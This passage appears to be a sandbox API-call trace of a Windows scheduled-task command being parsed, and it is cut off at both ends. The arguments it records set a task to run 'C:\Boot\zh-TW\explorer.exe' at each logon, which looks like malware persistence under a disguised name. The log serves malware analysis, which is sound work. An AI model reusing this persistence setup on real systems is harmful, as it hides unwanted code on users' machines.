0x2159bc1b890 [0117.834] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.834] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.834] lstrlenW (lpString="explorer") returned 8 [0117.834] lstrlenW (lpString="-/") returned 2 [0117.834] StrChrIW (lpStart="-/", wMatch=0x65) returned 0x0 [0117.834] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.834] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.834] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.834] lstrlenW (lpString="explorer") returned 8 [0117.834] StrChrIW (lpStart="explorer", wMatch=0x3a) returned 0x0 [0117.834] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.834] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.834] lstrlenW (lpString="explorer") returned 8 [0117.834] GetProcessHeap () returned 0x2159bc10000 [0117.834] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x12) returned 0x2159bc1a8f0 [0117.834] GetProcessHeap () returned 0x2159bc10000 [0117.834] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x20) returned 0x2159bc1b9b0 [0117.834] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.834] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.834] lstrlenW (lpString="/sc") returned 3 [0117.834] lstrlenW (lpString="-/") returned 2 [0117.834] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0117.834] lstrlenW (lpString="?") returned 1 [0117.834] lstrlenW (lpString="?") returned 1 [0117.834] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.834] lstrlenW (lpString="sc") returned 2 [0117.835] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.835] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|?|") returned 3 [0117.835] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|sc|") returned 4 [0117.835] lstrlenW (lpString="|?|") returned 3 [0117.835] lstrlenW (lpString="|sc|") returned 4 [0117.835] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.835] lstrlenW (lpString="create") returned 6 [0117.835] lstrlenW (lpString="create") returned 6 [0117.835] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.835] lstrlenW (lpString="sc") returned 2 [0117.835] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.835] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|create|") returned 8 [0117.835] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|sc|") returned 4 [0117.835] lstrlenW (lpString="|create|") returned 8 [0117.835] lstrlenW (lpString="|sc|") returned 4 [0117.835] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0117.835] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.835] lstrlenW (lpString="delete") returned 6 [0117.835] lstrlenW (lpString="delete") returned 6 [0117.835] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.835] lstrlenW (lpString="sc") returned 2 [0117.835] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.835] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|delete|") returned 8 [0117.835] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|sc|") returned 4 [0117.835] lstrlenW (lpString="|delete|") returned 8 [0117.835] lstrlenW (lpString="|sc|") returned 4 [0117.835] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0117.836] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.836] lstrlenW (lpString="query") returned 5 [0117.836] lstrlenW (lpString="query") returned 5 [0117.836] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.836] lstrlenW (lpString="sc") returned 2 [0117.836] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.836] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|query|") returned 7 [0117.836] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|sc|") returned 4 [0117.836] lstrlenW (lpString="|query|") returned 7 [0117.836] lstrlenW (lpString="|sc|") returned 4 [0117.836] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0117.836] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.836] lstrlenW (lpString="change") returned 6 [0117.836] lstrlenW (lpString="change") returned 6 [0117.836] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.836] lstrlenW (lpString="sc") returned 2 [0117.836] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.836] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|change|") returned 8 [0117.836] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|sc|") returned 4 [0117.836] lstrlenW (lpString="|change|") returned 8 [0117.836] lstrlenW (lpString="|sc|") returned 4 [0117.836] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0117.836] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.836] lstrlenW (lpString="run") returned 3 [0117.836] lstrlenW (lpString="run") returned 3 [0117.836] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.836] lstrlenW (lpString="sc") returned 2 [0117.836] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.837] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|run|") returned 5 [0117.837] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|sc|") returned 4 [0117.837] lstrlenW (lpString="|run|") returned 5 [0117.837] lstrlenW (lpString="|sc|") returned 4 [0117.837] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0117.837] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.837] lstrlenW (lpString="end") returned 3 [0117.837] lstrlenW (lpString="end") returned 3 [0117.837] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.837] lstrlenW (lpString="sc") returned 2 [0117.837] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.837] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|end|") returned 5 [0117.837] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|sc|") returned 4 [0117.837] lstrlenW (lpString="|end|") returned 5 [0117.837] lstrlenW (lpString="|sc|") returned 4 [0117.837] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0117.837] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.837] lstrlenW (lpString="showsid") returned 7 [0117.837] lstrlenW (lpString="showsid") returned 7 [0117.837] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.837] lstrlenW (lpString="sc") returned 2 [0117.837] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.837] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|showsid|") returned 9 [0117.837] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|sc|") returned 4 [0117.837] lstrlenW (lpString="|showsid|") returned 9 [0117.837] lstrlenW (lpString="|sc|") returned 4 [0117.837] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0117.837] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.838] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.838] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.838] lstrlenW (lpString="/sc") returned 3 [0117.838] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0117.838] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.838] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.838] lstrlenW (lpString="/sc") returned 3 [0117.838] GetProcessHeap () returned 0x2159bc10000 [0117.838] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x8) returned 0x2159bc13b10 [0117.838] GetProcessHeap () returned 0x2159bc10000 [0117.838] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x20) returned 0x2159bc1b440 [0117.838] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.838] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.838] lstrlenW (lpString="ONLOGON") returned 7 [0117.838] lstrlenW (lpString="-/") returned 2 [0117.838] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0117.838] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.838] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.838] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.838] lstrlenW (lpString="ONLOGON") returned 7 [0117.838] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0117.838] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.838] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.838] lstrlenW (lpString="ONLOGON") returned 7 [0117.838] GetProcessHeap () returned 0x2159bc10000 [0117.838] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x10) returned 0x2159bc1aa70 [0117.838] GetProcessHeap () returned 0x2159bc10000 [0117.838] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x20) returned 0x2159bc1b6e0 [0117.838] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.838] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.838] lstrlenW (lpString="/tr") returned 3 [0117.838] lstrlenW (lpString="-/") returned 2 [0117.838] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0117.839] lstrlenW (lpString="?") returned 1 [0117.839] lstrlenW (lpString="?") returned 1 [0117.839] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.839] lstrlenW (lpString="tr") returned 2 [0117.839] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.839] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|?|") returned 3 [0117.839] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|tr|") returned 4 [0117.839] lstrlenW (lpString="|?|") returned 3 [0117.839] lstrlenW (lpString="|tr|") returned 4 [0117.839] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.839] lstrlenW (lpString="create") returned 6 [0117.839] lstrlenW (lpString="create") returned 6 [0117.839] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.839] lstrlenW (lpString="tr") returned 2 [0117.839] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.839] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|create|") returned 8 [0117.839] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|tr|") returned 4 [0117.839] lstrlenW (lpString="|create|") returned 8 [0117.839] lstrlenW (lpString="|tr|") returned 4 [0117.839] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0117.839] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.839] lstrlenW (lpString="delete") returned 6 [0117.839] lstrlenW (lpString="delete") returned 6 [0117.839] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.839] lstrlenW (lpString="tr") returned 2 [0117.839] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.839] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|delete|") returned 8 [0117.839] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|tr|") returned 4 [0117.840] lstrlenW (lpString="|delete|") returned 8 [0117.840] lstrlenW (lpString="|tr|") returned 4 [0117.840] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0117.840] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.840] lstrlenW (lpString="query") returned 5 [0117.840] lstrlenW (lpString="query") returned 5 [0117.840] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.840] lstrlenW (lpString="tr") returned 2 [0117.840] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.840] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|query|") returned 7 [0117.840] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|tr|") returned 4 [0117.840] lstrlenW (lpString="|query|") returned 7 [0117.840] lstrlenW (lpString="|tr|") returned 4 [0117.840] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0117.840] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.840] lstrlenW (lpString="change") returned 6 [0117.840] lstrlenW (lpString="change") returned 6 [0117.840] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.840] lstrlenW (lpString="tr") returned 2 [0117.840] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.841] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|change|") returned 8 [0117.841] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|tr|") returned 4 [0117.841] lstrlenW (lpString="|change|") returned 8 [0117.841] lstrlenW (lpString="|tr|") returned 4 [0117.841] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0117.841] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.841] lstrlenW (lpString="run") returned 3 [0117.841] lstrlenW (lpString="run") returned 3 [0117.841] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.841] lstrlenW (lpString="tr") returned 2 [0117.841] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.841] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|run|") returned 5 [0117.841] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|tr|") returned 4 [0117.841] lstrlenW (lpString="|run|") returned 5 [0117.841] lstrlenW (lpString="|tr|") returned 4 [0117.841] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0117.841] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.841] lstrlenW (lpString="end") returned 3 [0117.841] lstrlenW (lpString="end") returned 3 [0117.841] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.841] lstrlenW (lpString="tr") returned 2 [0117.841] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.841] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|end|") returned 5 [0117.841] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|tr|") returned 4 [0117.841] lstrlenW (lpString="|end|") returned 5 [0117.841] lstrlenW (lpString="|tr|") returned 4 [0117.841] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0117.842] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.842] lstrlenW (lpString="showsid") returned 7 [0117.842] lstrlenW (lpString="showsid") returned 7 [0117.842] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.842] lstrlenW (lpString="tr") returned 2 [0117.842] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.842] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|showsid|") returned 9 [0117.842] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|tr|") returned 4 [0117.842] lstrlenW (lpString="|showsid|") returned 9 [0117.842] lstrlenW (lpString="|tr|") returned 4 [0117.842] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0117.842] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.842] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.842] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.842] lstrlenW (lpString="/tr") returned 3 [0117.842] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0117.842] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.842] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.842] lstrlenW (lpString="/tr") returned 3 [0117.842] GetProcessHeap () returned 0x2159bc10000 [0117.842] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x8) returned 0x2159bc13b30 [0117.842] GetProcessHeap () returned 0x2159bc10000 [0117.842] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x20) returned 0x2159bc1b4a0 [0117.842] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.842] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.842] lstrlenW (lpString="'C:\\Boot\\zh-TW\\explorer.exe'") returned 28 [0117.842] lstrlenW (lpString="-/") returned 2 [0117.842] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0117.842] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.842] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.843] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.843] lstrlenW (lpString="'C:\\Boot\\zh-TW\\explorer.exe'") returned 28 [0117.843] StrChrIW (lpStart="'C:\\Boot\\zh-TW\\explorer.exe'", wMatch=0x3a) returned=":\\Boot\\zh-TW\\explorer.exe'" [0117.843] lstrlenW (lpString="'C:\\Boot\\zh-TW\\explorer.exe'") returned 28 [0117.843] GetProcessHeap () returned 0x2159bc10000 [0117.843] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x18) returned 0x2159bc1a8d0 [0117.843] _memicmp (_Buf1=0x2159bc1a8d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.843] GetProcessHeap () returned 0x2159bc10000 [0117.843] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0xe) returned 0x2159bc1ab10 [0117.843] GetProcessHeap () returned 0x2159bc10000 [0117.843] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x18) returned 0x2159bc1a7f0 [0117.843] _memicmp (_Buf1=0x2159bc1a7f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.843] GetProcessHeap () returned 0x2159bc10000 [0117.843] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x3c) returned 0x2159bc1c160 [0117.843] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.843] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.843] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.843] lstrlenW (lpString="'C") returned 2 [0117.843] lstrlenW (lpString="-/") returned 2 [0117.843] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0117.843] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.843] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.843] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.843] lstrlenW (lpString="'C:\\Boot\\zh-TW\\explorer.exe'") returned 28 [0117.844] GetProcessHeap () returned 0x2159bc10000 [0117.844] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x3a) returned 0x2159bc1c200 [0117.844] GetProcessHeap () returned 0x2159bc10000 [0117.844] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x20) returned 0x2159bc1b470 [0117.844] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.844] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.844] lstrlenW (lpString="/rl") returned 3 [0117.844] lstrlenW (lpString="-/") returned 2 [0117.844] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0117.844] lstrlenW (lpString="?") returned 1 [0117.844] lstrlenW (lpString="?") returned 1 [0117.844] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.844] lstrlenW (lpString="rl") returned 2 [0117.844] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.844] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|?|") returned 3 [0117.844] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|rl|") returned 4 [0117.844] lstrlenW (lpString="|?|") returned 3 [0117.844] lstrlenW (lpString="|rl|") returned 4 [0117.844] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.844] lstrlenW (lpString="create") returned 6 [0117.844] lstrlenW (lpString="create") returned 6 [0117.844] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.844] lstrlenW (lpString="rl") returned 2 [0117.844] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.844] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|create|") returned 8 [0117.844] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|rl|") returned 4 [0117.844] lstrlenW (lpString="|create|") returned 8 [0117.844] lstrlenW (lpString="|rl|") returned 4 [0117.845] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0117.845] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.845] lstrlenW (lpString="delete") returned 6 [0117.845] lstrlenW (lpString="delete") returned 6 [0117.845] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.845] lstrlenW (lpString="rl") returned 2 [0117.845] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.845] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|delete|") returned 8 [0117.845] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|rl|") returned 4 [0117.845] lstrlenW (lpString="|delete|") returned 8 [0117.845] lstrlenW (lpString="|rl|") returned 4 [0117.845] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0117.845] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.845] lstrlenW (lpString="query") returned 5 [0117.845] lstrlenW (lpString="query") returned 5 [0117.845] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.845] lstrlenW (lpString="rl") returned 2 [0117.845] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.845] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|query|") returned 7 [0117.845] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|rl|") returned 4 [0117.845] lstrlenW (lpString="|query|") returned 7 [0117.845] lstrlenW (lpString="|rl|") returned 4 [0117.845] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0117.845] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.845] lstrlenW (lpString="change") returned 6 [0117.845] lstrlenW (lpString="change") returned 6 [0117.845] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.846] lstrlenW (lpString="rl") returned 2 [0117.846] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.846] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|change|") returned 8 [0117.846] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|rl|") returned 4 [0117.846] lstrlenW (lpString="|change|") returned 8 [0117.846] lstrlenW (lpString="|rl|") returned 4 [0117.846] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0117.846] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.846] lstrlenW (lpString="run") returned 3 [0117.846] lstrlenW (lpString="run") returned 3 [0117.846] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.846] lstrlenW (lpString="rl") returned 2 [0117.846] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.846] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|run|") returned 5 [0117.846] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|rl|") returned 4 [0117.846] lstrlenW (lpString="|run|") returned 5 [0117.846] lstrlenW (lpString="|rl|") returned 4 [0117.846] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0117.846] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.846] lstrlenW (lpString="end") returned 3 [0117.846] lstrlenW (lpString="end") returned 3 [0117.846] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.846] lstrlenW (lpString="rl") returned 2 [0117.846] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.846] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|end|") returned 5 [0117.846] _vsnwprintf (in: 